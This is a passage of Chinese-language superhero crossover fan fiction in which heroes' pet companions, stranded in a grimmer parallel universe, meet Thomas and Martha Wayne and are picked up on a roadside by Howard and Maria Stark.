它意识到它们正在韦恩塔的顶部。 再加上面前这个被称为玛莎·韦恩的小丑。 大红有种不好的预感。 “汪？”它问：这个世界的布鲁斯·韦恩在哪里？ 布莱克看了他一眼，摇头。 大红知道那意思是对方的死亡，在沉默片刻后，它又问：杰森呢？ 布莱克再次摇头。 这次的意思略微不同，布莱克表达的是“不知道”。 在它们的宇宙中，布鲁斯在小巷子里捡（抓）到偷蝙蝠轮胎的小可爱时已不算年轻，家中老大迪克都到了单飞的年纪。 布莱克按照托马斯和玛莎的年龄推算了一下，认为这个平行宇宙的杰森多半还没有出生，考虑到这里的哥谭过分动荡，杰森能不能顺利出生，这还真的不好说。 杰森的那对父母绝不是个好人，却也坏的不够狠，这种人在这个更加黑暗暴力的哥谭里注定无法存活太久。 更不要说这个世界动荡的可不止有哥谭。 夜风卷起一张报纸，奇迹似的飞上韦恩塔顶，落在大红面前，狗狗抬起爪子，毫不费力的将它按在爪下。 大红看了一眼，知道这事情与自己无关，它对着布莱克和锈斑猫“汪”了下。 布莱克和锈斑猫凑上来看，发现那上面写着“亚马逊与亚特兰蒂斯的战争一触即发，人类将何去何从？斯塔克工业已经做好准备”。 斯塔克工业？ 锈斑猫疑惑的看着头条上的那个人。 那个“斯塔克”。 霍华德·斯塔克。 托尼的父亲。 托尼的、父亲……？ 这次换成锈斑猫呆住了。 如果斯塔克工业的主导者是霍华德·斯塔克，那么托尼又在哪里？ 这个问题一冒出来，锈斑猫就想到了一个可能性。 照片上霍华德的模样看起来也是年纪不小，也许此时托尼已经顺利出生，长大成人，只是因为一些原因，霍华德和玛利亚都还活着，所以斯塔克工业的领导人才是霍华德。 会有那么顺利吗？ 布莱克低头看着锈斑猫。 锈斑猫大概是感觉到了这家伙的想法，不爽的小哈了一嗓子。 为什么不会？ 谁规定的超级英雄就要经历那么多不幸，哪怕在平行世界也要家破人亡不得美满？ 锈斑猫对此嗤之以鼻。 躺在玛莎怀里翻肚皮的塔塔也努力举起小短爪。 “嘤嘤~”而且，正是因为他们是超级英雄，才更应该幸福美满呀！ 事实也许不会那样完美，但它们在这里，不是么？ 塔塔嘚瑟的尾巴左右摆动。 布莱克静静地看着这只很适合当宵夜的水耗子，捷克狼犬也在看它，并开始认同布莱克的观点，大水耗子被养的圆圆润润，看起来确实额外美味。 只有锈斑猫看得直皱眉。 那摇摆尾巴的模样，怎么看怎么像多纳滋那只大金毛。 “汪。”我们该回去了。 大红说道。 它来的最晚，却是最想回去的那个。 布莱克摇了摇头。 它们现在是否能返回完全不由自己，薇薇交换发生在一年前，上一波交换的两位X教授也没有换回去，它们是否还能回到自己的宇宙？ 其实布莱克也没有绝对的把握。 它知道蝙蝠侠不会太坑人，但又觉得不太好说。 如果这事情真的没得选，完全无法阻止，蝙蝠侠也有可能选择利益最大化，先收集一波资料再说其他。 在没有充足线索的情况下，无法确定的事情想破头也还是无法确定。 布莱克不再思考那个，它将现在的问题告诉大红。 “喵呜。”回不去。 就这么简单。 就算它们有可能因为交汇再次发生而自然返回自己的宇宙，可那是什么时候的事情？又有几只能顺利回去？这些都是无法确定的。 锈斑猫轻声喵了一声，问：蝙蝠洞里没有能帮忙的东西吗？ 布莱克摇了摇头。 从电视的型号，家电情况就能看出来，这个世界的科技和它们的宇宙差距有点大，蝙蝠车也没有那么好。 自己的孵化者都拿不出穿越平行宇宙的仪器，这里的蝙蝠侠就更不可能有那东西了。 “喵。”那就去斯塔克工业看看吧。 要知道托尼的反应堆之所以能够完善，其中一部分还有霍华德·斯塔克的功劳，这个人在许多年前就超越了时代的限制，做出无数不可思议的畅想和推论，可惜受限于当时的资源上限和战争压力，很多想法都无法实现。 这样一个人，可以说是这个宇宙中最可能造出平行宇宙跨越器的人了。 布莱克没那么乐观。 科技上限的问题在这个平行宇宙同样存在。 更何况这个世界看起来并没有氪星人的踪迹，如果这个世界的超人压根没能降落在地球，就等于这里没有获得氪星科技加持，很可能也没有拿到达克赛德的母盒技术，这样算下来，这个世界的科技差的实在是太多了。 只靠霍德华·斯塔克也很难超越时代的限制。 不过，去看看吧。 总要试试的。 几只小动物商量了一会，敲下后续的行程，等玛莎状态稳定后它们就去纽约，去找托尼，或者是霍华德·斯塔克。 “喵？”你不去皇后区看看吗？ 锈斑猫问塔塔。 塔塔摇了摇脑袋：“嘤叽。”小叽居都还没出生呢。 杰森·陶德都不一定出生了的时间线，自然也没到彼得·帕克出生的时间点。 想清楚这一点的塔塔对皇后区失去了兴趣。 “嘤嘤~”我就跟着你们走~ 它相信以锈斑猫的智慧，一定可以把大家带回去的！ 塔塔快乐的叫唤，然后打了个大大的哈欠。 塔塔累了。 玛莎也不再抚摸塔塔，而是专心的昂头看着天空发呆。 她看起来已经稳定了很多。 “喵呜。”接下去就不是我们的事情了，你自己看着办。 布莱克对着黑暗处叫了一声。 如果在这种情况下，托马斯依然决定继续他们的“约会”，那也是他们的事情了。 人类会遇到无法越过的高山，无法放弃的执念，无法抚平的伤口，那一切的一切，也是构成这个人本身的一部分组件。 那是人类的事情。 无法沟通的情况下，小动物们无法再做更多。 它们要走了。 第55章 “不, 你们留下吧。” 玛莎突然回过神来，她将塔塔放到地上，走向布莱克刚才看着的那片黑暗,在这里,她的蝙蝠侠正在等着她。 他们是该好好的谈一次的。 自从那夜过去之后, 他们选择走向不同方向的疯狂, 结果却是谁都无法跨越失去的阴霾。 小布鲁斯的死亡夺走了他们的一切。 现在,蝙蝠侠带着他的小丑女士跃下韦恩塔,在绳枪的帮助下平稳落地。 也许是母亲的天性。 玛莎迟疑的问：“如果他长大了, 会成为那个样子吗？” “什么？”托马斯不确定妻子在说什么，看起来玛莎恢复神智了,又好像还没有。 片刻后, 托马斯反应过来, “你说那只美洲豹。” 玛莎点了点头。 托马斯没有回答。 他也不确定。 但……那只美洲豹确实不太一样。 有一种很熟悉的感觉，关于小布鲁斯的感觉。 …… ………… 韦恩塔可以说是哥谭的最高峰了，在这里休息除了冷一点以外, 没有任何不好的地方，安全，视野辽阔，是完美的避难所。 更完美的是伴生动物都不怕冷。 小憩的时候，布莱克负责放第一波哨。 大红趴在不远处，眼睛闭着，耳朵却支愣着,显然是没有完全睡着。 脑子里乱糟糟的想着事情。 托马斯·韦恩，变成小丑的玛莎·韦恩, 还有早就死掉的布鲁斯…… 布鲁斯死掉了的话，这个平行宇宙的杰森该怎么办？ 想到杰森过去的那些事情, 大红不由自主的感到阵阵烦躁，有种非常强烈的，想要撕咬东西的冲动。 关于杰森的过去，在蝙蝠家族内部属于大家都闭口不谈的事情之一。 但杰森本人，其实早就没那么在意了。 杰森的生父是混子，好像跟过企鹅人还是双面人的，资料上看是贩毒入狱，后被双面人弄死，而母亲则是吸毒致死，这身世实在不怎么样。 后来杰森成为布鲁斯·韦恩的养子，本以为至少能衣食无忧，却很快就意外死亡。 对，杰森死过一次。 被一个叫做小丑的家伙杀死的。 不是面前这位小丑女士，而是在他们宇宙中的一个精神病人。 那让杰森的死亡毫无意义，不说精神病杀人是否犯法，单就哥谭没有死刑这一点，就让所有人感到深深的无力。 在大红开始将哥谭视为自己的地盘，每晚外出巡逻的时候，它听到过一些声音。 那些人讨论着当年的罗宾之死，说小丑弄死罗宾是为了吸引蝙蝠侠的注意力，一切的罪魁祸首其实是蝙蝠侠，如果那个男孩没有被蝙蝠侠捡到，就绝不会落得这么个悲惨的下场。 确实，如果杰森没有跟着蝙蝠侠，死在小丑某次无差别袭击下的可能性比较大，当然不会被抓走并折磨许久。 杰森知道大红听到了一些混混的议论，也注意到偶尔大红会盯着蝙蝠侠发呆。 于是他将自己的狗子捞过来，讲了自己的身世。 杰森想得很开，大概和他的阅读习惯有关，他的思维逻辑其实是有些浪漫主义的悲剧在里面的，如果凡事皆有代价，那么成为罗宾，成为红头罩，认识了这么多人，罗伊、比扎罗、阿尔忒弥斯…… 他的秘密基地，他的红蝙蝠洞，他的法外者。 “难道让我重来一次，我会放弃认识他们的机会，只是因为……哈，我害怕小丑？” 杰森笑着，撸了一把大红的狗头。 “我承认那时候我是有些年轻冲动，过于莽撞，可你要知道，这本质上是因为我无畏小丑那种货色，而这点，至今不变。” 大红昂头看着杰森。 大部分伴生动物都认为自己是为了孵化者才诞生的。 可在这一刻，大红有些不确定了。 杰森已经足够的完美，这幅画面中，似乎并不需要大红的存在。 这份迟疑很快就在杰森紧紧的拥抱下消失无踪。 杰森需要它。 不是因为它能带来什么。 只是因为他喜欢它。 一个人类，喜欢他的狗狗。 大红反应过来。 这个世界的托马斯·韦恩也好，玛莎也好，布鲁斯是否活着也好，根本就与它无关，它该做的是尽快回去。 狗狗需要它的人类。 人类也需要他的狗狗。 这更加坚定了大红必须要尽快回去的念头。 可若是斯塔克那边也没有线索，它又该怎么办呢？ 狗狗趴着，看似在睡觉，其实脑子里正在进行一场头脑风暴，努力在混乱中寻找可行的方案，只为了尽快回到杰森的身边。 想来想去的，大红彻底睡不着了，连闭眼小憩都无法做到。 本着不该浪费时间的原则，大红站起来，走到布莱克身边一屁股坐下，打着哈欠的同时用前爪扒拉一下美洲豹的后背，示意它去睡觉吧，自己来守夜。 布莱克侧头看向它，哇呜着问：怎么了？ 大红沉默片刻，告诉布莱克：我想回去了，现在。 大猫猫看着体型也没有比大猫猫小多少的捷克狼犬。 虽然蝙蝠侠和杰森之间的表现大部分是疏离的，有时候甚至充满了硝烟，但若是仔细观察，也能在那两人之间找到默契的时刻，彼此交付后背的信任，能证明他们互相了解的，那些关于亲情的瞬间。 和蝙蝠侠不同，布莱克选择遵从自己内心不理智的那部分。 它抬起爪子，勾住捷克狼犬，在对方一脸懵逼的注视下，愣是将狗狗扒拉到自己面前，两爪子压住，然后开始给它舔毛。 布鲁斯是杰森的父亲。 那么自己自然也是大红的父辈。 自己给大红舔毛，天经地义。 布莱克觉得自己的推理简直是精妙绝伦。 大红彻底呆住。 它不理解布莱克这是在做什么。 只觉得大猫带着倒刺的舌头梳子似的从自己脑壳上逆向刮过去。 布莱克的力气很大，这一下把大红脖子到脑壳的毛毛舔得全部翻了起来。 逆向梳毛绝对是猫猫狗狗都不喜欢的活动。 大红立刻扭身挣扎，试图从布莱克爪子下溜出去。 而作为大猫猫的布莱克哪里会给它这个机会，两只爪子来回镇压，很快就将大红按得没了脾气，一声不吭的趴在原地。 布莱克满意了，继续舔毛大业。 大红：…… 好处是这样舔真的很干净。 坏处是布莱克吃了不少狗毛。 大猫用力的舔着舌头，想要将倒刺上挂着的狗毛吐出去，它努力了好几次，都因为猫猫舌头更适合往里面带食物而不是吐出来的特殊性，根本无法成功吐毛，最后只能将狗毛咽下去，等在胃里面结成毛球再吐出来。 大红回头看它在那吃毛。 布莱克低头看回去。 这次对视是大红先败下阵来，趁着布莱克松了爪子，果断钻出去跑掉。 大概是身上都是布莱克留下的气味，这让大红不太习惯，它找了个安静的地方又开始给自己舔毛，将能够到的地方覆盖回自己的气味。 狗舔毛就比猫咪潦草多了，也就是止痒的程度而已，扭头舔两下大腿就算完事。 那过于应付的模样让布莱克看着就十分闹心，也误会了，以为大红这是嫌弃刚才舔的不够彻底，于是起身追过去，准备给它再刷两下。 大红：？ ？ ？ 大红：！ ！ ！ 大红立刻跳起来，往旁边蹿了一大截，躲开布莱克的爪子。 大红：你做什么？ ！ 布莱克有些无辜，实话实说：继续给你舔毛，你不是还想要吗？ 大红：？ ？ ？ 我TM哪只眼睛想要了？ ？ ？ 捷克狼犬不吭声，默默摆出战斗的架势，一副布莱克要是再敢强压着它舔毛，它就不顾一切跟布莱克拼命的模样。 布莱克：…… 布莱克不理解。 自己舔毛的技术不好吗？ 小蓝（迪克的风华极乐鸟）和小红也都不给它舔毛。 布莱克哇呜叫着控诉它们的冷漠。 大红只是沉默的看着它。 这么一只大猫。 旁边正在休息的锈斑猫被这动静惊醒，也跟着听了一耳朵，顿时感觉一阵无语。 给捷克狼犬舔毛也就算了吧，怎么还想给两只小鸟舔毛？ 也不怕不小心舔进喉咙里。 更离谱的是，当布莱克开始破罐子破摔，控诉孩子们不着家，它只能天天对着老蝙蝠凑合过日子，想跟它们贴贴交换信息都没有时间什么的，还真把捷克狼犬说服了。 大红看着无差别对周围一切嗷嗷叫的布莱克。 几秒过后，大红低头认命，打横躺在地上，一副死狗的模样。 舔吧。 吐毛球的时候离我远点。 …… ………… 主宇宙。 哥谭。 蝙蝠洞。 最新的信息勾勒出全新的画面。 彼得看着天花板，只觉得蝙蝠洞高高的天花板特别好看。 红头罩和蝙蝠侠刚干完架，回来看到布莱克按着大红强行舔毛的温馨画面，两人都没反应过来，一时间齐刷刷的冷在原地。 然后就是布莱克的控诉，和大红妥协后那副快乐的模样。 斯塔克光明正大的偷看了一眼蝙蝠侠，然后用不小的声音问他：“你知道的，对吧？其实伴生动物的性格和孵化者之间存在一定的联系，虽然并不绝对，但依然是有关系的。” 蝙蝠侠：…… 蝙蝠侠开始活动手指。 指骨被他捏的在那嘎吧、嘎吧的响。 “我给你十五分钟，召唤你的机甲。” 不然还要收着力道，打不爽。 第56章 漆黑的夜晚, 林间一条小道。 多纳滋和帕夫在草丛中回过神来，注意到周围完全陌生的景色，两只小动物都有些反应不过来,明明它们上一秒才成功打开冰箱,趁着斯塔克不在家,它们打算大干一笔。 帕夫正要爬上冰箱去推甜甜圈的盒子,怎么一眨眼的功夫,就掉到这里了？ 这里又是哪里？ 帕夫在比它高了好多好多的茂密野草地里努力抬高脑袋,四处寻找多纳滋的身影。 小小的身体柔软温暖, 但在这种时候是真的不方便，在帕夫眼中, 世界就是巨大的绿色阴影和黑色布帘, 哪怕夜视能力惊人, 它也很难看见远处的东西。 倒是多纳滋，仗着角度更高，很容易的找到了正在窸窸窣窣摆动的草堆。 它凑过去, 不意外的捡到了帕夫。 金丝熊爬上金毛的鼻尖，然后顺着鼻梁爬上头顶。 此时它获得了更高的地形优势，再次将身体直立起来，四下张望着观察周围。 从未见过的树林，从未见过的小路。 两只小动物迷茫了。 “唧唧。”金丝熊叫了两声：这就是斯塔克说过的交汇现象吧。 多纳滋的想法与帕夫不谋而合。 它驮着帕夫慢悠悠的往前走。 “汪。”我们先找到回去的路，去看看纽约和斯塔克大厦的情况。 首先，它们要做的是去确认这里到底是不是另一个世界。 运气好的话,它们可以直接回家，再慢慢研究是什么力量将它们传送出来的。 如果这里是另一个世界, 它们要做的事情就是打猎觅食、建造庇护所，尽可能在这段时间里照顾好自己, 然后等待复仇者们来找它们。 深更半夜的，一只毛色漂亮的大金毛孤独的沿着公路漫步。 它也没有更好的分辨方向的办法，就这么硬走。 路嘛。 总会走到头的。 然后再看情况来决定下一步就好。 它像是个老练的猎手，在自己日常巡逻的森林间散步，黑暗中无论是否潜伏着野兽它都毫不畏惧。 很快，它们遇到了第一个岔路。 多纳滋在这里驻足，左右张望。 帕夫从多纳滋的厚实长毛里探出脑袋，昂头往高处寻找，它找到了给车辆指路用的指示牌，用爪子轻轻扯了扯多纳滋的毛，示意多纳滋也抬头去看。 有一个方向是“纽约”，下面还有数字。 看起来是个很要命的距离。 远是远了点，不过对于多纳滋来说，并不是无法走到的距离。 只是要走很长一段路罢了。 找到方向后多纳滋就继续往前走。 一直走…… 一直走的…… 帕夫打了个哈欠，它将狗毛当做被子盖在自己身上，准备小睡一会，它们一天是走不到的，而且也不能真的不停地往前走，帕夫现在睡饱了，等多纳滋累了，它们就可以换班，多纳滋睡觉的时候帕夫来守夜。 多纳滋走的心无旁骛，昏昏欲睡的帕夫却听到了什么。 远远地，好像有汽车的引擎声传来。 还没睡着的帕夫探出脑袋，向它们后方望过去。 一辆不起眼的轿车正从远处驶来。 帕夫好奇的看着。 轿车的速度不算太快，多纳滋的金毛在车灯下徐徐生辉，特别引人瞩目，车里的人自然也看到了多纳滋。 “那好像是一只家犬。”玛利亚对驾驶室的丈夫说，“它知道在野外谋生的办法吗？” “我想应该是不知道的，但我们的情况不适合带着它。” 话到这里，霍华德略微停顿，他出差归来，确实有些匆忙，半夜三更的他本不想多管闲事，但仔细想想，其实也没有匆忙到一点时间都没有的地步。 况且他们现在的年纪来说，人生能多一点插曲，其实也挺有趣的。 “这一路过来也没看到其他人，我们在原地等一会，如果没有人在找狗，就把它带去纽约，送去城里的收容所，它的毛色不错，很快就会找到新主人的。” 嘴上这样说，驾驶位的霍华德也拿不准对方是否能遇到好人。 给宠物找领养人其实是个很看缘分的事情，那只金毛看着漂亮，却已经是成犬了，又是大型犬，很可能已经有了心目中唯一的主人，这会让它难以遇到愿意收容的家庭。 但不管怎么说，都比留在这里强。 当然，他们也可以暂时收容。 暂时的。 他们连自己的亲生儿子都没时间照料，更不要说什么犬科生物，难道还指望他能抽出时间遛狗吗？ 如果他能，他和儿子托尼之间的关系就不会那么僵硬了。 不过话说回来，反正都要世界末日了，他也是因此才给自己放了个假，回来陪伴叛逆期的托尼，为的不过是万一他们无法阻止亚马逊和亚特兰蒂斯的大战，世界因此毁灭，至少在最后，一家人能在一起罢了。 既然如此，多带一只狗又有什么关系？ 霍华德开始减速。 轿车在越过多纳滋后继续往前开了一段，越开越慢，最后干脆停在了路边。 多纳滋依然在往前走，逐渐接近那辆轿车。 它看见轿车的副驾驶门打开，一位女士探出头来观望。 岁月在她脸上留下了痕迹，却盖不住她的风华与智慧。 确定狗狗的精神状况没有异常，不像是疯狗的样子，还冲她慢速的摇尾巴，玛利亚这才下了车，霍华德也从另一侧下车。 “小心点。”他提醒自己的妻子。这到底是不认识的狗。 “我知道的，不用担心。” 然后他们开始打量这只金毛。 多纳滋在距离他们不远不近的位置停下脚步。 它在观察这两名人类。 也许是因为知道对方没有恶意，多纳滋的姿态显得十分放松，还略微摇了摇尾巴，跟他们打招呼。 斯塔克大厦中的复仇者大厅是斯塔克翻新出来的空间，不会存有这两人的味道，以斯塔克的性格，就算私藏了父母的遗物，也不可能放在他人能触及的公共空间。 多纳滋只能嗅到某种让它感到熟悉的味道，有些遥远，意味着亲缘关系，这一时之间，多纳滋也难以将这两人和自己宇宙里的复仇者们对上号。 不过可以确定的是，他们是可以相信的人。 “想跟我们去纽约吗？”玛利亚问它。 纽约？ 这倒是刚好。 多纳滋摇尾巴的速度明显加快。 “它知道纽约。”玛利亚惊喜的说，“说不定它的家就在纽约。” “我们可以登个报纸，走失宠物的那种，也许它的主人能看到。” “是的，这是个好主意。” 玛利亚赞同自己丈夫的提议。 看多纳滋沉稳而且十分有礼貌，这让霍华德本来还有点担忧的心情彻底放松下来，他打开后车门。 “进来吧，我们一起去纽约。” 霍华德特意在“纽约”上加重声音，希望金毛能听懂自己的邀请。 多纳滋对他“汪”了一声。 金毛走向他们，为了让人类感到安全感，多纳滋特意选择了霍华德那边，没有靠近人类的妻子，当它走到门边，和霍华德靠得足够近的时候，它昂头看向霍华德，并再次对他缓缓摇了摇尾巴。 打招呼、感谢、表达放松。 霍华德不懂狗语，也不了解犬科，这时候却莫名的能感觉到这只金毛想要传递的信息。 没事的，我们只是搭便车的毛孩子而已。 我们不会伤害任何人的。 霍华德：…… 怎么感觉……有点邪乎？ 这狗好像能听懂他们说的话，而不是只辨识出“纽约”一个单词，更离谱的是，霍华德隐约感觉到这狗在顾及他们的感受，明明玛利亚那边的门更靠近路边，它却选择绕过来，从霍华德这边上车。 上车后金毛趴在后座上，帕夫依然藏在它的毛里面，没有露头。 大部分人面对一只洗干净的品种狗时，接受度会高一些，可能会愿意带着走上一段，可若是一只不认识的耗子…… Emmm…… 先一报纸敲过去再说！ 帕夫可不想引起不必要的混乱。 驾驶的期间，霍华德时不时地抬头看一眼后视镜，确认金毛只是好好的坐在那里，看看窗外，发发呆，始终安分的模样。 偶尔他会在后视镜里与金毛对上视线。 狗狗会很自然地移开视线，由着他继续观察。 这感觉挺奇妙的。 霍华德想起自己一个老朋友。 实验对象、英雄、被遗落在世界之外的人…… 在那样极限的条件下冲入极地的冰层中，就算下面是海水，飞机也没有爆炸，可他们搜索了很久很久，依然没有对方的踪迹。 恐怕已经沉入深海了吧…… 以人类现有的技术很难去那么深的海域搜寻，亚特兰蒂斯长期与陆地人不睦，他们根本不敢让亚特兰蒂斯知道这件事情，生怕对方真的找到美国队长的身体，到时候己方英雄的遗骸落入敌方手中，事情就变得更加难办了。 他们挣扎了好几年，霍华德也渐渐意识到，对方的强化也许无法帮助他度过这次难关。 可惜，末日将近，他们还是没能找到他。 运气好的是，他们至少找到了另一位老友，可惜那朋友的状态实在不好，认不出他们，甚至没有独立思考的能力。 “也不知道巴恩斯怎么样了。”玛利亚突然提到一个帕夫和多纳滋都非常熟悉的名字。 帕夫立刻支棱起耳朵。 只听霍华德略带遗憾的说：“洗脑的问题很难逆转，而且我们没有时间了。” “他还有时间吗？” “恐怕不多。” 第57章 “九头蛇给他用的改造血清加入了那个外星来客的细胞, 这种改造血清会让人更加强大，在黄太阳下保持年轻强壮，可以不吃不喝, 但免疫系统会在几年内迅速崩溃, 对寿命的影响非常大。” 可以说从本质上来说, 这种改良血清已经不是他们制作的超级士兵血清。 而巴恩斯在九头蛇遭受的人体实验用的并不是那些人抢走的超级士兵血清, 而是这种当时效果未知的改造血清。 没有样本, 没有研究对象, 也拿不到那个外星来客的数据。 这让霍华德这边的人束手无策, 根本不知道如何拯救巴恩斯的生命。 “他们会付出代价的，我保证。” 霍华德对玛利亚说道。 他表情严肃。 九头蛇送还巴恩斯不过是因为世界末日将近,那群人以为自己能跟海王的弟弟合作然后各拿好处,却完全不知道欧姆已经说服海王建造了针对陆地的可怕武器。 他们陆续讨论了一些事情。 多纳滋和帕夫听得一愣一愣的。 这个世界……到底怎么了？ 他们口中的半机械人钢骨是谁？ 正义联盟的绿灯侠不是个地球人吗？怎么变成外星人了？ 啊不, 重点是，这世界根本没有正义联盟，也没有复仇者联盟, 没有超人，蝙蝠侠不管发生在哥谭之外的任何事情，没有钢铁侠，没有美国队长，自然也没有复仇者。 什么都没有。 唯一有消息的巴基听起来也命不久矣，而且并没有摆脱洗脑的控制，只是九头蛇放弃了控制权,将巴恩斯当做礼物送还给己方，以此来表示合作的诚意。 至于合作的目的。 挺简单的。 人类社会如果不复存在,九头蛇的目标也就失去了价值。 他们玩脱了，眼看现在不是一局棋能否下赢的问题, 而是棋盘都要给人干碎了，这才开始匆忙补救。 ……巴基。 这个名字让多纳滋无法忽视，它没办法就这么转身去继续寻找离开这个世界的办法，然后把那个命不久矣，连自我都尚未找回的巴基就这么丢在这里。 多纳滋本来是打算进入纽约后找了个机会偷溜，好避免被困在救助站的情况。 而现在，多纳滋不急着离开了。 它想跟他们返回，见一见这个世界的巴基。 在多纳滋的后背上，帕夫轻轻扯了扯它的背毛，示意它冷静思考，是否有必要那么做，但多纳滋已经做下决定。 它要去看看，也必须去看看。 帕夫趴在多纳滋脑袋上冒出的“巴基巴基巴基巴基巴基……”的弹幕一般的横幅上，陷入巨大的沉默。 曾经有一天，偷袭了冰箱的小动物们四散而逃，躲避托尼的堵截，帕夫一个没注意跑进了美国队长史蒂夫的卧室，并稀里糊涂的在那里住了一晚上。 大半夜的，帕夫的生物钟作祟，睡不着的帕夫干脆爬起来，就看到熟睡的史蒂夫脑袋上时不时冒出一个“巴基”。 帕夫看得一愣一愣的。 一不小心唧唧叫出声来，吵醒了警觉的大兵。 史蒂夫捡起金丝熊，在帕夫好奇的询问下，史蒂夫大方承认自己梦见了巴基，还坦诚当初被冻在冰层下方时，他也一直一直梦见巴基，并认为正是因为这些梦的守护，他才能在那样可怕的极端环境下挺过来。 帕夫呆呆地看着史蒂夫，完全反应不过来。 在史蒂夫眼中，巴基是位于底线之下的存在。 多纳滋也许是受此影响，对巴基也格外的放不下。 “唧唧？”帕夫问多纳滋：所以那些超级英雄论坛里写的东西没错咯？ “汪？”什么东西？ 帕夫和锈斑猫凑一起加上塔塔，三只用斯塔克的平板看过不少乱七八糟的东西，多纳滋并不会参与这项社交活动，自然不知道它们都看了些什么。 帕夫就跟它解释。 唧唧叫了好长一串。 大概就是美国队长和助手巴基之间不可不说的二三事。 有的剧情写的非常好玩，有的则悲情沉重，各种各样的故事都有，它们真的看过好多，帕夫浓缩着说也说不完。 多纳滋感觉好像有一道大门在自己面前缓缓打开，它选择闭上眼，让它赶紧关上。 然后它就听到帕夫在问：这就是所谓的“爱情”吗？ 多纳滋想了想，将自己的想法告诉它：这世界上美好且坚不可破的情感很多，爱情只是其中之一。 这也是多纳滋对史蒂夫和巴基之间关系的看法。 爱情本身太局限了。 不必如此。 他们可以是家人、朋友，他们生死与共、彼此支撑，他们的关系可以是一切的一切，所有能形容的和无法形容的。 帕夫陷入思考。 作为动物的它们其实无法理解“爱情”，但多纳滋说的那种关系同样复杂，以帕夫对各种情感的了解，还无法很好的想明白那个。 它不明白为什么多纳滋能想明白这么抽象的事情。 “汪。”大概因为犬科已经和人类协同作战了数百年，许多狗狗对主人的感情也是无法用任何语言去形容的，哪怕最后沦为锅里的肉，也不会离开自己的主人。 “唧唧！”那不成了主仆关系了？ 多纳滋：主人这个词本就是从人类的角度来定义的关系，而对于犬类来说，所谓的主人就是领头犬，是同伴中最强大最聪明可靠的那个，是决定族群未来的指向标。 这点对于一只金丝熊来说确实难以理解。 玛利亚疑惑的声音打断了两只小动物的沟通。 “我是不是听到了……”耗子？ 霍华德：“我也听到了。” 说着，霍华德还在后视镜里面观察。 耗子的叫声和金毛的汪汪声有来有回，再看金毛的姿态，始终是比较放松的，并没有抓老鼠的意思。 这就很奇怪了。 金毛作为亲水的巡回犬本职并不是捕鼠，可现在鼠鼠已经在脸上叫唤了，它依然没有任何想要动弹的意思，还在这趴着，只是口头上跟老鼠汪汪的……难不成它们在聊天？ 霍华德因为自己奇怪的想法而愣住。 怎么可能呢？ 狗狗怎么能跟只老鼠聊天。 “应该是刚才开门的时候溜上车的老鼠，现在还在林子里，开门搞不好还会有新的老鼠进来，亲爱的，稍微忍一下，进城我就处理它。” 霍华德安慰自己的妻子。 玛利亚却没有太担心，“它在后座呢。” 听起来，玛利亚已经注意到了鼠鼠的位置，她转头看向金毛，略带不解的问霍华德：“金毛可以和老鼠交朋友吗？” “当然不行。” “人都可以跟鱼交朋友了。”玛利亚叹气。 这个世界越来越诡异，金毛和老鼠交朋友，有什么不可以的？ 她都在金毛的头顶上看到那只小老鼠了。 更正。 那老鼠不小。 但是毛茸茸的，长毛十分柔顺，而且打理的特别好，也没有长尾巴，圆嘟嘟的看起来就很可爱的样子。 居然一点都不讨人厌。 “唧唧~”帕夫站起来向他们打招呼。 既然已经被听到了，帕夫放弃继续隐藏，两人没有大喊大叫起来，就证明他们是见过大风大浪的，虽然不知道他们姓甚名谁，一路听下来，两只小动物已经注意到他们知道很多应当是机密的事情，并且正在努力想办法拯救这岌岌可危的世界。 也就是说，这两人很可能也是超级英雄，至少是超级英雄背后可靠的支持者。 他们还收留了巴基。 是巴基的朋友。 就是不知道是军队里的战友，还是其他地方认识的故友。 有机会要想办法知道他们的名字。 多纳滋想着这件事情。 玛利亚则震惊于那只通人性的长毛耗子。 “那是不是……” “那是一只金丝熊。”并不了解小宠的霍华德废了一点力气才辨认出帕夫的品种，“这玩意不可能是野生的，估计是从哪户人家里跑出来，我猜它们两个应该是一家人。” 狗能记住家庭这个单位里的所有成员，金毛让那只耗子在头上耀武扬威，只可能是因为那是它确认了的家庭成员。 听到驾驶员的话，多纳滋响亮的叫了一声：“汪！” 就算不懂狗语的人也能听出来，这是响亮而明确的应和声，意思是金毛认同了霍华德所说的话。 霍华德被金毛昂首挺胸坐着的模样逗笑了，问：“你还能听懂人话？” “汪！” 又是响亮明确的回应。 不仅是声音的回答，多纳滋还知道霍华德在通过后视镜看自己，它也通过后视镜看霍华德，一人一狗就这么对上了视线。 这次霍华德多看了几秒。 越看，他越觉得自己后座上的这只狗，它真的不对劲。 仔细看这金毛浑身毛发油亮顺滑，体型也比普通金毛更加壮硕，骨架也更大一点…… 明明在遇到他们之前这只狗独自在路边走着，那里前不着村后不着店的，金毛应该已经走了很长一段距离了，却依然没有任何疲惫，并且维持着自身的干净整洁，上车后也没有在他车上留下任何泥土和痕迹。 …… 这狗身上的疑点未免也太多了一些。 霍华德试着专心开车，并因为自己无法集中注意力而将车速逐步减缓，一种疯狂的猜测在他脑子里发癫似的刮出可怕的暴风。 如果，如果血清能让豆芽菜变成超级士兵。 那是不是能让狗也拥有五倍的智慧？ 不会吧？ 九头蛇不会神经病到把血清给狗用了吧？ ？ ？ 第58章 车继续往前开。 霍华德没将自己脑袋里的头脑风暴说出来,那些想法实在是太奇怪了，而且九头蛇用了血清就会洗脑，洗脑了的人明显不正常,几乎完全失去社交能力。 绝不是这只大金毛所表现的, 友善, 和平, 擅长和人类相处。 不对, 这不是重点。 九头蛇本来就没办法给狗洗脑吧？ 语言都不通啊。 霍华德被自己活跃的思维逗笑了,在玛利亚的询问中摇了摇头,告诉玛利亚他想到一件好玩的事情，比如金毛叼着中空的塑料玩具球,金丝熊就在球中间。 玛利亚：…… 玛利亚不赞同的看着霍华德。 多纳滋依然是坐在后座, 安静乖巧, 不过帕夫去了前面。 它蹲在副驾驶前方的台面上，歪头看着玛利亚，越看越觉得有点儿眼熟。 总是盯着女士看是很不稳妥的行为,不礼貌，也不恰当，帕夫跟着巴基养成了习惯，很清楚交际上的界限。 很快它就移开目光，扒在前面的挡风玻璃上，看外面黑漆漆的林间道发呆。 看着看着。 嗯…… 它看到了什么？ “唧唧？！” 帕夫叫了起来。 “什么？”霍华德问。 玛利亚也不知道，但车灯扫过去,巨大的黑影隐匿于林间，玛利亚并未注意到那个,但她看到了其它的东西。 “一只小猫和一只……水獭？” 玛利亚迟疑了。 她怀疑自己是不是眼花？ 林间小道上有一只家犬勉强还能理解，有一只小猫也可以接受,可为什么会有一只水獭？它的脚蹼允许它在这样的无水环境下一直走路吗？ “霍华德……” 玛利亚叫了自己的丈夫。 